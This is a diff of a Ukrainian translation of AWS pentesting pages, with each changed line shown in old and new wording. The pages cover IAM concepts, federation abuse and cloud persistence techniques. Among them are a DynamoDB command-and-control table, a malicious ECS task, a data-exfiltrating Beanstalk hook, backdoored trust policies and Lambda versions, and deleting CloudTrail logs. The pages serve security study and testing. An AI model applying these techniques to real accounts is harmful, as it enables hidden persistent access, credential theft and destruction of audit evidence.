Вбудовані політики корисні, якщо ви хочете **підтримувати сувору однозначну відповідність між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності.
|
||||
|
||||
#### Політики ресурсних кошиків
|
||||
#### Політики ресурсних бакетів
|
||||
|
||||
Це **політики**, які можна визначити в **ресурсах**. **Не всі ресурси AWS підтримують їх**.
|
||||
Це **політики**, які можуть бути визначені в **ресурсах**. **Не всі ресурси AWS підтримують їх**.
|
||||
|
||||
Якщо у основної сутності немає явного заборони на них, і політика ресурсу надає їм доступ, тоді їм дозволено.
|
||||
|
||||
### Межі IAM
|
||||
|
||||
Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу **іншою політикою**, операція **не вдасться**, якщо він спробує їх використати.
|
||||
Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати.
|
||||
|
||||
Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· кошики, це максимальне, що він може зробити.
|
||||
Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· бакети, це максимальне, що він може зробити.
|
||||
|
||||
**Це**, **SCP** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно.
|
||||
**Це**, **SCPs** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно.
|
||||
|
||||
### Політики сесії
|
||||
|
||||
Політика сесії - це **політика, встановлена, коли роль приймається** якимось чином. Це буде як **межа IAM для цієї сесії**: Це означає, що політика сесії не надає дозволів, а **обмежує їх до тих, що вказані в політиці** (максимальні дозволи - це ті, які має роль).
|
||||
Політика сесії - це **політика, встановлена, коли роль приймається** якимось чином. Це буде як **межа IAM для цієї сесії**: Це означає, що політика сесії не надає дозволів, але **обмежує їх до тих, що вказані в політиці** (максимальні дозволи - це ті, які має роль).
|
||||
|
||||
Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише тими, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована.
|
||||
Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише до тих, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
@@ -230,40 +230,40 @@ aws sts assume-role \
|
||||
|
||||
Отже, якщо в якийсь момент ви зіткнетеся з помилкою "... тому що жодна політика сесії не дозволяє ...", і роль має доступ для виконання дії, це тому, що **існує політика сесії, яка цьому заважає**.
|
||||
|
||||
### Федерація ідентичності
|
||||
### Федерація особистостей
|
||||
|
||||
Федерація ідентичності **дозволяє користувачам з постачальників ідентичності, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\
|
||||
Прикладом постачальника ідентичності може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS.
|
||||
Федерація особистостей **дозволяє користувачам з постачальників особистостей, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\
|
||||
Прикладом постачальника особистостей може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS.
|
||||
|
||||
Щоб налаштувати це довір'я, створюється **постачальник ідентичності IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряє) постачальнику ідентичності**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль.
|
||||
Щоб налаштувати це довір'я, **генерується постачальник особистостей IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряюча) постачальнику особистостей**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль.
|
||||
|
||||
Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику ідентичності, а стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу.
|
||||
Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику особистостей, і стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Центр ідентичності
|
||||
### IAM Identity Center
|
||||
|
||||
AWS IAM Центр ідентичності (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків.
|
||||
AWS IAM Identity Center (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків.
|
||||
|
||||
Домен для входу буде чимось на зразок `<user_input>.awsapps.com`.
|
||||
|
||||
Для входу користувачів можна використовувати 3 джерела ідентичності:
|
||||
Для входу користувачів можна використовувати 3 джерела особистостей:
|
||||
|
||||
- Директорія Центру ідентичності: Звичайні користувачі AWS
|
||||
- Identity Center Directory: Звичайні користувачі AWS
|
||||
- Active Directory: Підтримує різні конектори
|
||||
- Зовнішній постачальник ідентичності: Всі користувачі та групи походять від зовнішнього постачальника ідентичності (IdP)
|
||||
- Зовнішній постачальник особистостей: Всі користувачі та групи походять від зовнішнього постачальника особистостей (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
У найпростішому випадку директорії Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації.
|
||||
У найпростішому випадку каталогу Identity Center, **Identity Center матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації.
|
||||
|
||||
Щоб надати доступ користувачу/групі Центру ідентичності до облікового запису, буде створено **постачальника ідентичності SAML, який довіряє Центру ідентичності**, і **роль, що довіряє постачальнику ідентичності з вказаними політиками, буде створена** в цільовому обліковому записі.
|
||||
Щоб надати доступ користувачу/групі Identity Center до облікового запису, **буде створено постачальника особистостей SAML, який довіряє Identity Center**, і **роль, що довіряє постачальнику особистостей з вказаними політиками, буде створена** в цільовому обліковому записі.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Центр ідентичності**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Центрі ідентичності**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**.
|
||||
Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Identity Center**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Identity Center**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вони мають однакові дозволи**.
|
||||
Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вона має однакові дозволи**.
|
||||
|
||||
### Довірчі відносини та ролі між обліковими записами
|
||||
|
||||
@@ -295,11 +295,11 @@ AWS Identity and Access Management (IAM) забезпечує **точний к
|
||||
|
||||
### Префікси IAM ID
|
||||
|
||||
На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **префікси IAM ID** ключів залежно від їх природи:
|
||||
На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **IAM ID префікси** ключів залежно від їх природи:
|
||||
|
||||
| ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ACCA | Контекстно-специфічні облікові дані |
|
||||
| ACCA | Облікові дані, специфічні для контексту |
|
||||
| AGPA | Група користувачів |
|
||||
| AIDA | Користувач IAM |
|
||||
| AIPA | Профіль екземпляра Amazon EC2 |
|
||||
@@ -329,7 +329,7 @@ AWS Identity and Access Management (IAM) забезпечує **точний к
|
||||
### CLI автентифікація
|
||||
|
||||
Щоб звичайний користувач міг автентифікуватися в AWS через CLI, вам потрібно мати **локальні облікові дані**. За замовчуванням ви можете налаштувати їх **вручну** в `~/.aws/credentials` або **запустивши** `aws configure`.\
|
||||
У цьому файлі ви можете мати більше ніж один профіль, якщо **жоден профіль** не вказано за допомогою **aws cli**, буде використано той, що називається **`[default]`** в цьому файлі.\
|
||||
У цьому файлі ви можете мати більше одного профілю, якщо **жоден профіль** не вказано за допомогою **aws cli**, буде використовуватися той, що називається **`[default]`** у цьому файлі.\
|
||||
Приклад файлу облікових даних з більш ніж 1 профілем:
|
||||
```
|
||||
[default]
|
||||
@@ -343,7 +343,7 @@ region = eu-west-2
|
||||
```
|
||||
Якщо вам потрібно отримати доступ до **різних облікових записів AWS** і вашому профілю було надано доступ до **прийняття ролі в цих облікових записах**, вам не потрібно вручну викликати STS щоразу (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) і налаштовувати облікові дані.
|
||||
|
||||
Ви можете використовувати файл `~/.aws/config`, щоб [**вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\
|
||||
Ви можете використовувати файл `~/.aws/config`, щоб [ **вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\
|
||||
Приклад конфігураційного файлу:
|
||||
```
|
||||
[profile acc2]
|
||||
@@ -353,7 +353,7 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
З цим файлом конфігурації ви можете використовувати aws cli, як:
|
||||
З цим конфігураційним файлом ви можете використовувати aws cli, як:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Federation Abuse
|
||||
# AWS - Зловживання федерацією
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,17 @@
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
Щоб налаштувати **Ідентифікаційну Федерацію через SAML**, вам потрібно лише надати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з публічним ключем)
|
||||
Щоб налаштувати **федерацію ідентичності через SAML**, вам потрібно лише надати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з відкритим ключем)
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
## OIDC - Зловживання GitHub Actions
|
||||
|
||||
Щоб додати github action як постачальника ідентифікації:
|
||||
Щоб додати дію GitHub як постачальника ідентичності:
|
||||
|
||||
1. Для _Типу постачальника_ виберіть **OpenID Connect**.
|
||||
2. Для _URL постачальника_ введіть `https://token.actions.githubusercontent.com`
|
||||
3. Натисніть _Отримати відбиток_ для отримання відбитка постачальника
|
||||
4. Для _Аудиторії_ введіть `sts.amazonaws.com`
|
||||
5. Створіть **нову роль** з **дозволами**, які потрібні github action, та **політикою довіри**, яка довіряє постачальнику, як:
|
||||
5. Створіть **нову роль** з **дозволами**, які потрібні дії GitHub, та **політикою довіри**, яка довіряє постачальнику, як:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -45,8 +45,8 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
}
|
||||
```
|
||||
6. Зверніть увагу в попередній політиці, як лише **гілка** з **репозиторію** **організації** була авторизована з конкретним **тригером**.
|
||||
7. **ARN** **ролі**, яку github action зможе **використовувати**, буде "секретом", який github action потрібно знати, тому **зберігайте** його в **секреті** всередині **середовища**.
|
||||
8. Нарешті, використовуйте github action для налаштування AWS облікових даних, які будуть використовуватися робочим процесом:
|
||||
7. **ARN** ролі, яку дія GitHub зможе **використовувати**, буде "секретом", який дія GitHub повинна знати, тому **зберігайте** його в **секреті** всередині **середовища**.
|
||||
8. Нарешті, використовуйте дію GitHub для налаштування облікових даних AWS, які будуть використовуватися робочим процесом:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Permissions for a Pentest
|
||||
# AWS - Дозволи для пентесту
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,8 +10,8 @@
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Додатково, якщо клієнт генерує аналізатори для вас, але зазвичай простіше просто попросити цей дозвіл)
|
||||
- Додатково, якщо клієнт генерує аналізатори для вас, але зазвичай легше просто попросити цей дозвіл)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Додатково, якщо клієнт видаляє аналізатори для вас, але зазвичай простіше просто попросити цей дозвіл)
|
||||
- Додатково, якщо клієнт видаляє аналізатори для вас, але зазвичай легше просто попросити цей дозвіл)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1 @@
|
||||
# AWS - Постійність
|
||||
# AWS - Постійнiсть
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
Для отримання додаткової інформації, зверніться до:
|
||||
Для отримання додаткової інформації, перейдіть за посиланням:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
@@ -15,11 +15,11 @@
|
||||
Cognito - це сервіс, який дозволяє надавати ролі неавтентифікованим та автентифікованим користувачам і контролювати каталог користувачів. Кілька різних конфігурацій можуть бути змінені для підтримки певної стійкості, такі як:
|
||||
|
||||
- **Додавання User Pool**, контрольованого користувачем, до Identity Pool
|
||||
- Надання **IAM ролі неавтентифікованому Identity Pool і дозволити Basic auth flow**
|
||||
- Або для **автентифікованого Identity Pool**, якщо зловмисник може увійти
|
||||
- Надання **IAM ролі неавтентифікованому Identity Pool та дозволення Basic auth flow**
|
||||
- Або **автентифікованому Identity Pool**, якщо зловмисник може увійти в систему
|
||||
- Або **покращення дозволів** наданих ролей
|
||||
- **Створення, перевірка та privesc** через атрибути контрольованих користувачів або нових користувачів у **User Pool**
|
||||
- **Дозволити зовнішнім постачальникам ідентичності** увійти в User Pool або в Identity Pool
|
||||
- **Дозволення зовнішнім постачальникам ідентичності** входити в User Pool або в Identity Pool
|
||||
|
||||
Перевірте, як виконати ці дії в
|
||||
|
||||
|
||||
@@ -54,6 +54,6 @@ aws dynamodb put-item \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад у таблицю. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами.
|
||||
Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад до таблиці. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Відстеження з'єднань групи безпеки
|
||||
|
||||
Якщо захисник виявить, що **EC2 екземпляр був скомпрометований**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACL впливають на всю підмережу), або **змінивши групу безпеки**, не дозволяючи **жодного виду вхідного або вихідного** трафіку.
|
||||
Якщо захисник виявить, що **EC2 екземпляр був скомпрометований**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACL впливають на всю підмережу) або **змінивши групу безпеки**, не дозволяючи **жодного виду вхідного або вихідного** трафіку.
|
||||
|
||||
Якщо зловмисник мав **реверс-шелл, що походить з машини**, навіть якщо SG змінено, щоб не дозволяти вхідний або вихідний трафік, **з'єднання не буде розірвано через** [**Відстеження з'єднань групи безпеки**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
@@ -27,21 +27,21 @@
|
||||
|
||||
### Запит на флот Spot
|
||||
|
||||
Spot-екземпляри є **дешевшими** ніж звичайні екземпляри. Зловмисник може запустити **маленький запит на флот Spot на 5 років** (наприклад), з **автоматичним призначенням IP** і **даними користувача**, які надсилають зловмиснику **коли Spot-екземпляр запускається** та **IP-адресу** з **високопривілейованою IAM роллю**.
|
||||
Spot-екземпляри є **дешевшими** ніж звичайні екземпляри. Зловмисник може запустити **маленький запит на флот Spot на 5 років** (наприклад), з **автоматичним призначенням IP** і **даними користувача**, які надсилають зловмиснику **коли spot-екземпляр запускається** та **IP-адресу** з **високопривілейованою IAM роллю**.
|
||||
|
||||
### Екземпляри з бекдором
|
||||
### Задні двері в екземплярах
|
||||
|
||||
Зловмисник може отримати доступ до екземплярів і встановити бекдор:
|
||||
Зловмисник може отримати доступ до екземплярів і встановити в них задні двері:
|
||||
|
||||
- Використовуючи традиційний **rootkit**, наприклад
|
||||
- Додаючи новий **публічний SSH ключ** (перевірте [опції підвищення привілеїв EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Встановлюючи бекдор у **дані користувача**
|
||||
- Встановлюючи задні двері в **дані користувача**
|
||||
|
||||
### **Конфігурація запуску з бекдором**
|
||||
### **Конфігурація запуску з задніми дверима**
|
||||
|
||||
- Бекдор використаного AMI
|
||||
- Бекдор даних користувача
|
||||
- Бекдор ключової пари
|
||||
- Встановити задні двері в використаний AMI
|
||||
- Встановити задні двері в дані користувача
|
||||
- Встановити задні двері в пару ключів
|
||||
|
||||
### VPN
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Схована Docker-образ з шкідливим кодом
|
||||
### Схований Docker-образ з шкідливим кодом
|
||||
|
||||
Зловмисник може **завантажити Docker-образ, що містить шкідливий код** до репозиторію ECR і використовувати його для підтримки стійкості в цільовому обліковому записі AWS. Потім зловмисник може розгорнути шкідливий образ на різних службах в обліковому записі, таких як Amazon ECS або EKS, непомітно.
|
||||
|
||||
@@ -41,7 +41,7 @@ aws ecr set-repository-policy \
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що ECR вимагає, щоб користувачі мали **дозвіл** на виклики до **`ecr:GetAuthorizationToken`** API через IAM політику **перед тим, як вони зможуть аутентифікуватися** в реєстрі та завантажувати або витягувати будь-які зображення з будь-якого репозиторію Amazon ECR.
|
||||
> Зверніть увагу, що ECR вимагає, щоб користувачі мали **дозвіл** на виклики до **`ecr:GetAuthorizationToken`** API через IAM політику **перед тим, як вони зможуть аутентифікуватися** в реєстрі та завантажувати або вивантажувати будь-які зображення з будь-якого репозиторію Amazon ECR.
|
||||
|
||||
### Політика реєстру та крос-акаунтне реплікація
|
||||
|
||||
|
||||
@@ -10,12 +10,12 @@
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Схована періодична ECS задача
|
||||
### Схована періодична задача ECS
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Зловмисник може створити сховану періодичну ECS задачу, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS.
|
||||
Зловмисник може створити сховану періодичну задачу ECS, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
|
||||
@@ -10,11 +10,11 @@
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
### Змінити політику ресурсу / групи безпеки
|
||||
|
||||
Модифікуючи **політику ресурсу та/або групи безпеки**, ви можете спробувати зберегти свій доступ до файлової системи.
|
||||
Змінюючи **політику ресурсу та/або групи безпеки**, ви можете спробувати зберегти свій доступ до файлової системи.
|
||||
|
||||
### Create Access Point
|
||||
### Створити точку доступу
|
||||
|
||||
Ви можете **створити точку доступу** (з кореневим доступом до `/`), доступну з сервісу, де ви реалізували **іншу стійкість**, щоб зберегти привілейований доступ до файлової системи.
|
||||
|
||||
|
||||
+2
-2
@@ -16,7 +16,7 @@
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
Зловмисник може впровадити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код.
|
||||
Зловмисник може вставити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk надає гачки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час постачання та завершення роботи екземпляра. Зловмисник може **налаштувати гачок життєвого циклу для періодичного виконання скрипта, який ексфільтрує дані або підтримує доступ до облікового запису AWS**.
|
||||
Elastic Beanstalk надає гачки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час надання та завершення екземпляра. Зловмисник може **налаштувати гачок життєвого циклу для періодичного виконання скрипта, який ексфільтрує дані або підтримує доступ до облікового запису AWS**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
|
||||
### Політики довіри до бекдорів ролей
|
||||
|
||||
Ви можете створити бекдор у політиці довіри, щоб мати можливість приймати її для зовнішнього ресурсу, контрольованого вами (або для всіх):
|
||||
Ви можете створити бекдор для політики довіри, щоб мати можливість приймати її для зовнішнього ресурсу, контрольованого вами (або для всіх):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -36,11 +36,11 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
### Політика бекдору Версія
|
||||
|
||||
Надайте адміністративні дозволи політиці, яка не є її останньою версією (остання версія повинна виглядати легітимно), а потім призначте цю версію політики контрольованому користувачу/групі.
|
||||
Надайте адміністративні права політиці, яка не є її останньою версією (остання версія повинна виглядати легітимно), а потім призначте цю версію політики контрольованому користувачу/групі.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
### Бекдор / Створити постачальника ідентичності
|
||||
|
||||
Якщо обліковий запис вже довіряє загальному постачальнику ідентичності (такому як Github), умови довіри можуть бути посилені, щоб зловмисник міг їх зловживати.
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Можливо **ввести/задній доступ до шару для виконання довільного коду** під час виконання лямбди непомітно:
|
||||
Можливо **ввести/задній доступ до шару для виконання довільного коду** під час виконання лямбди в прихований спосіб:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Зловживаючи шарами Lambda, також можливо зловживати розширеннями та зберігати доступ до лямбди, а також красти та змінювати запити.
|
||||
Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в лямбді, а також красти та змінювати запити.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -36,7 +36,7 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
Лямбда може мати **різні версії** (з різним кодом для кожної версії).\
|
||||
Потім ви можете створити **різні псевдоніми з різними версіями** лямбди та встановити різні ваги для кожної.\
|
||||
Таким чином, зловмисник може створити **задньо доступну версію 1** та **версію 2 лише з легітимним кодом** і **виконувати лише версію 1 у 1%** запитів, щоб залишатися непомітним.
|
||||
Таким чином, зловмисник може створити **задньодоступну версію 1** та **версію 2 лише з легітимним кодом** і **виконувати версію 1 лише в 1%** запитів, щоб залишатися непоміченим.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,21 +44,21 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
1. Скопіюйте оригінальний код лямбди
|
||||
2. **Створіть нову версію з заднім доступом** до оригінального коду (або просто з шкідливим кодом). Опублікуйте та **виконайте цю версію** на $LATEST
|
||||
1. Викличте API шлюз, пов'язаний з лямбдою, щоб виконати код
|
||||
1. Викличте API gateway, пов'язаний з лямбдою, щоб виконати код
|
||||
3. **Створіть нову версію з оригінальним кодом**, опублікуйте та виконайте цю **версію** на $LATEST.
|
||||
1. Це приховає код з заднім доступом у попередній версії
|
||||
4. Перейдіть до API Gateway і **створіть новий метод POST** (або виберіть будь-який інший метод), який виконає версію лямбди з заднім доступом: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Зверніть увагу на фінальне :1 в arn **яке вказує на версію функції** (версія 1 буде версією з заднім доступом у цьому сценарії).
|
||||
5. Виберіть створений метод POST і в розділі Дії виберіть **`Deploy API`**
|
||||
5. Виберіть створений метод POST і в Actions виберіть **`Deploy API`**
|
||||
6. Тепер, коли ви **викликаєте функцію через POST, ваш задній доступ** буде активовано
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
Той факт, що ви можете змусити **функції лямбди виконуватися, коли щось відбувається або коли проходить певний час**, робить лямбду гарним і поширеним способом отримання доступу та уникнення виявлення.\
|
||||
Той факт, що ви можете змусити **функції лямбди виконуватися, коли щось відбувається або коли проходить певний час**, робить лямбду гарним і поширеним способом отримання стійкості та уникнення виявлення.\
|
||||
Ось кілька ідей, щоб зробити вашу **присутність в AWS більш непомітною, створюючи лямбди**.
|
||||
|
||||
- Кожного разу, коли створюється новий користувач, лямбда генерує новий ключ користувача та надсилає його зловмиснику.
|
||||
- Кожного разу, коли створюється нова роль, лямбда надає права на прийняття ролі скомпрометованим користувачам.
|
||||
- Кожного разу, коли генеруються нові журнали cloudtrail, видаляйте/змінюйте їх.
|
||||
- Кожного разу, коли генеруються нові журнали cloudtrail, видаляйте/змінюйте їх
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+3
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## Розширення Lambda
|
||||
|
||||
Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [деплойменти контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішні** та **зовнішні**.
|
||||
Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [деплойменти контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішньому** та **зовнішньому**.
|
||||
|
||||
- **Внутрішні розширення** зливаються з процесом виконання, маніпулюючи його запуском за допомогою **змінних середовища, специфічних для мови** та **обгорткових скриптів**. Це налаштування застосовується до ряду середовищ виконання, включаючи **Java Correto 8 та 11, Node.js 10 та 12, і .NET Core 3.1**.
|
||||
- **Зовнішні розширення** працюють як окремі процеси, підтримуючи узгодженість роботи з життєвим циклом функції Lambda. Вони сумісні з різними середовищами виконання, такими як **Node.js 10 та 12, Python 3.7 та 3.8, Ruby 2.5 та 2.7, Java Corretto 8 та 11, .NET Core 3.1** та **кастомними середовищами виконання**.
|
||||
@@ -23,12 +23,12 @@
|
||||
|
||||
